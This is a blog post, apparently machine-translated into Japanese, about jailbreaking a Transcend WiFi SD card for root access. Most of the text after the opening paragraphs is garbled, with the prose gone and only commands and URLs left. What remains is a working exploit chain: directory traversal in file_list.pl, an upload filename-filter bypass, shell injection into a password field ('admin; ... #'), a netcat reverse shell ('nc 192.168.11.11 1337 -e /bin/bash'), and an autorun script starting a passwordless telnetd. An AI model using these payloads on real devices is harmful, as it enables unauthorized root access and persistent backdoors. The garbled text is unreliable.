翻訳は少し無料ですが、意味は失われません。 私(翻訳者)はこのカードに長い間興味を持ち、ほとんどすぐに注文しました。今日、郵便局からそれを受け取りましたが、それを十分に入手できませんが、トランセンドが提供する以上のものが必要です。 たくさんの手紙。最近、トランセンドのWiFi SDメモリカードの所有者になりました。これにより、「DSLR」(通常はSony NEXですがコンパクト)からWiFiを搭載したデバイスに数秒で写真を転送できます。 そして、写真を撮ってその場で共有するのが好きなので、写真を携帯電話にワイヤレスで転送できるSDカードは素晴らしい解決策のようです。 そしてそれはそうでした! (まだそうです)。 モバイルアプリケーションは...できません。もっと良いはずです(表示用に7MBの画像をダウンロードし、後で[ダウンロード]をクリックしてダウンロードするのはなぜですか?)、しかし一般的にはうまくいきます!
このような小さなデバイスは16GBまたは32GBを保存できるだけでなく、Webサーバーなどのアプリケーションを起動したり、WiFiを介して他のデバイスと通信したり、独自のワイヤレスネットワークを作成したりできる組み込みシステムでもあります。 しかし、チャットをやめましょう:このデバイスにもっと多くのことをさせることができますか?
この投稿は、ルートアクセス(ジェイルブレイク)を取得できる実際のエクスプロイトだけでなく、バグの調査と発見のプロセスについても説明しています。
ハックの準備をする
最初は、カードに何らかの種類の組み込みLinuxがあると想定していました。 その場合、機能の拡張は非常に簡単です。 しかし、最初に、システムを自分で管理する必要があります。 これまでは、このカードではAndroidおよびiOSアプリケーションのみを使用していましたが、PCと通信する最も簡単なオプションはWebインターフェースであることは明らかでした。 そして、次の考えがすぐに私の頭に浮かびました:
モバイルアプリケーションが非常にくだらない場合は、Webインターフェースの方が良くありません...多分それはあなたの利益のために使用できるバグでいっぱいです。
!
(IP 192.168.11.254 (
253, ), admin), , . « », « ». , «» , .
«Files» , . , . ? , , . «Parent Directory» URL(%2F "/"):
192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd
/www, URL:
192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww
, . /, /bin, /etc . , :( . ! , , .
?dir=/www/sd/../..
,
/
, !

, ! ,
/www/sd
, "../". . , , , !
, , busybox, busybox. , /www/cgi-bin. , .
! , , « », , :)
, , , . — Perl . Perl open(), , , shell , «» (pipe).
open("cat /etc/passwd |")
. open() , , . , .
, open() .
kcard_upload.pl
:

!
kcard_upload.pl
,
cgi-bin
. . facepalm: , ! ?
kcard_upload.pl
, ,
$basename
.
,
$basename
,
GetBasename($upfile)
.
$upfile
( ). , , HTML . ,
GetBasename
. ( «» ../../ ) .
,
$basename
, .. , , .
,
kcard_upload.pl
PNG, JPG, BMP GIF .
? !
, , , , .

, , , .
"\"
.
/\.GIF$/
,
/.GIF/
, , ,
/hi/helPNGlo/asdf.something
. !
, ( ), , . .
, ,
GetBasename()
$basename
.
GetBasename()
.
/path/to/file.txt
file.txt
. , -
"../../bin/our-malicious.script"
,
"our-malicious.script"
DCIM/198_WIFI/

,
GetBasename()
, .
: windows ( OC windows). ! windows , . ! :
/////\////
, windows, ( ), .
////
!
/PNG/something\/../../our-malicious.script . . — . !
../DCIM/198_WIFI
,
/www/cgi-bin
, (
../sd/DCIM/198_WIFI
). , . . , ( , ?). , . - .
( , ,
kcard_upload.pl
,
wifi_upload
, HTTP POST .)
! , . , . «» . , .
shell perl , , shell !
system()
— shell perl .
system()
.pl .cgi , , . shell perl —
qx{}
, . , — ,
qx{}
. , , shell . ! .. shell , .
kcard_save_config_insup.pl
, :

,
$update_auth
,
$LOGIN_USR
$LOGIN_PWD
. , . ! , «Settings».
192.168.11.254/kcard_edit_config_insup.pl
. . , , ! -, , shell
$update_path
. , . , # ( ),
> /mnt/mtd/config/ia.passwd
.
, :
admin; echo haxx > /tmp/hi.txt #
, , . , javascript, , . Chrome Form Editor .
, ,
/tmp
, . .
«admin», . ( , ).
root?
, shell . , .
/usr/bin
, shell: netcat (nc), telnet . shell , , , shell (
, ). , — Netcat:
nc 192.168.11.11 1337 -e /bin/bash
netcat ( IP 192.168.11.11) 1337 bash . , , , «»
admin; nc 192.168.11.11 1337 -e /bin/bash #
. . telnet . ? nc, telnet
/usr/bin
, ! busybox SD Linux. . , telnet netcat stdout stderr /tmp/hi.txt, :
nc 192.168.11.11 1337 -e /bin/bash &> /tmp/hi.txt
. hi.txt, :
nc: applet not found
, nc. ! , ? ! :)
,
wget
transcend- , . busybox :))) , , busybox
http://busybox.net/downloads/binaries/latest/, busybox-armv5l
wget 192.168.11.11/busybox-armv5l
,
/www/cgi-bin
.
chmod a+x /www/cgi-bin/busybox-armv5l
, .
shell! 1337
nc -vv -l 1337
, SD
/www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash
. busybox ,
/www/cgi-bin/busybox-armv5l
shell ! ,
/www/cgi-bin/busybox-armv5l id
, root-!

, , SD ( , ). , - «» perl ,
kcard_login.pl
, , . wsd.conf javascript . , . javascript!

,
192.168.11.254/cgi-bin/kcard_login.pl . .

!
(rcS.p rcS), ,
autorun_fu.sh
autorun.sh
. . , Transcend!

(
autorun.sh
), busybox-armv5l ,
telnet
:
cp /mnt/sd/busybox-armv5l /sbin/busybox
chmod a+x /sbin/busybox
/sbin/busybox telnetd -l /bin/bash &
:

!
, , . keyasic: